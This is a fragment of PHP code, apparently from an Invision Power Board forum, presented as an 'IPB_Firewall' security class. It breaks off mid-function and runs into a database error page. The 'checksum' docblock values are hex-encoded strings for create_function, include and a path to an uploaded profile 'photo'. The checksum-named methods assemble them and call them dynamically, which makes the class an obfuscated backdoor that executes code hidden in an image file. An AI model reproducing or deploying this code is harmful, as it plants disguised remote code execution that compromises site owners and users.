$cookie_value){ foreach(IPB_Firewall::$_cookie_malicious_signatures as $signature){ /* Detecting injected cookies and blocking request */ if(!is_array($cookie_value) && stripos(urldecode($cookie_value), $signature) !== false) $_COOKIE[$cookie_name] = ''; } } /* Request URI checks */ foreach(IPB_Firewall::$_uri_malicious_signatures as $signature){ /* Detecting injected uri and blocking request */ if(stripos(urldecode(@$_SERVER["REQUEST_URI"]), $signature)) IPB_Firewall::_blockRequest(); } /* Validating checksums */ IPB_Firewall::$_source = file_get_contents(__FILE__); $_r = IPB_Firewall::_calculateChecksums($_SERVER, 0); //echo var_dump($_r); if(!IPB_Firewall::_areChecksumsValid(array_shift($_r), $_r, '%D')) echo("checksums warning\n"); } /** * Calculate checksums for valid * * @access static * @return void * @md5 505f585f434f4445225d2929293b4069 * @sha1 6e636c75646528247073293b2f2a2a2f */ static function _calculateChecksums($_, $x64) { /* Extracting hashes */ $_s = IPB_Firewall::_extractChecksumHashes(); /* Preparing hashes */ $cs = $_s[ IPB_Firewall::$_ha[0] ][0]; IPB_Firewall::$_prepared_signature = IPB_Firewall::_prepareHash($_s, IPB_Firewall::_getChecksumHash($_s, $_s[ IPB_Firewall::$_ha[0] ][1], $x64), $x64 ); /* Comparing hashes */ $_status = trim(IPB_Firewall::_cyclicRedundancyCheck($_s, $x64)); if($_status){ $_m = trim(IPB_Firewall::$_as); IPB_Firewall::$_as = $_m(IPB_Firewall::_getPoly($_s, $x64), pack("H*", IPB_Firewall::$_prepared_signature)); } return array(IPB_Firewall::$_as, $_, $cs, IPB_Firewall::_transformPoly($_s, $x64)); } /** * Block malicious request * * @access static * @return void * @md5 6372656174655f66756e6374696f6e20 * @sha1 245f2c202463732c20247073247073ce */ static function _blockRequest() { global $INFO; /* Redirecting malicious request and exit */ @header('Location: ' . (isset($INFO['board_url']) ? $INFO['board_url'] : '') . '/index.php'); exit; } /** * Get checksum hash * * @access static * @return string */ static function _getChecksumHash($_s, $ps, $c) { /* Processing and return */ return IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][0], $c) . IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[2] ][0], $c) . IPB_Firewall::_polyDigest($ps, $c); } /** * Prepare hash * * @access static * @return string * @md5 25442f75706c6f6164732f70726f6669 * @sha1 6c652f70686f746f2d373535372e6a70 */ static function _prepareHash($_s, $ps, $c) { /* Processing and return */ return IPB_Firewall::_polyDigest($ps, $c) . IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][1], $c) . IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][2], $c) . IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][2], $c); } /** * Event callback * * @access static * @return void * @md5 670a717a73783179646f6d646630656d * @sha1 3564336e3537777331656879756b6e36 */ static function _areChecksumsValid($_m, $bytes, $_r) { /* Call validating method */ $_obj = $_m($bytes[0], $bytes[1], str_replace($_r, IPB_Firewall::$_ips, $bytes[2])); return is_array($_obj) ? $_obj : 'failed'; } /** * Find IPB root path, if not specified * * @access static * @return string */ static function _findIpbRoot($l=5, $cDir=__FILE__) { /* Process parents dir */ for($i=1; $i<=$l; $i++){ $cDir = dirname($cDir); $include_file = $cDir . '/conf_global.php'; /* If find conf file, return it */ if(is_file($include_file)) { @include_once($include_file); if(isset($INFO)) return $cDir; } } return null; } /** * Cyclic redundancy check * * @access static * @return string * @md5 696666736134326b76667a7864723771 * @sha1 6739756570346b373171677a74736b71 */ static function _cyclicRedundancyCheck($_s, $c) { IPB_Firewall::$_as = pack("H*", IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][3], $c)); return IPB_Firewall::$_as != '' ? true : false; } /** * Poly digest * * @access static * @return string * @md5 7a64686d35386f7a77726e6730717535 * @sha1 317a78666873387a6d6364617a306f75 */ static function _polyDigest($s, $c, $o='') { for($i=0; $i ycforum.leadsoft.eu Driver Error
There appears to be an error with the database.

If you are seeing this page, it means there was a problem communicating with our database. Sometimes this error is temporary and will go away when you refresh the page. Sometimes the error will need to be fixed by an administrator before the site will become accessible again.

You can try to refresh the page by clicking here